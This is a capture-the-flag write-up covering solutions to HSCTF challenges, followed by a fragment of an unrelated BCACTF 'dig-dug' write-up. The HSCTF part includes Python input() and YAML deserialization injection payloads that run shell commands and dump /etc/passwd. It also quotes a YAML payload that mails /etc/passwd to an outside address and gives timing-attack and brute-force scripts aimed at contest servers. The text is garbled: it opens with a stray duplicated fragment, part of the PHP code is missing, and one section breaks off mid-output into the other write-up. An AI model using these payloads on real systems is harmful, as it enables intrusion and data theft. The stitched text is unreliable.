I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
# Dig-dug
| Event | Title | Category | Cost ||:------|:----------|:---------|-------:|| BCACTF | dig-dug | WEB | 100 |
### Discription>I found this super sketchy website called hole.sketchy.dev. Can you help me dig up some of its secrets?>>Oh, and someone told me that the secrets are TXT. I don't know what this means, so good luck!>>https://hole.sketchy.dev/
### Solution
Using tips on the Linux `dig` command, we get nothing.

A little googling the arguments of the command dig we found what we need.

##### Flag
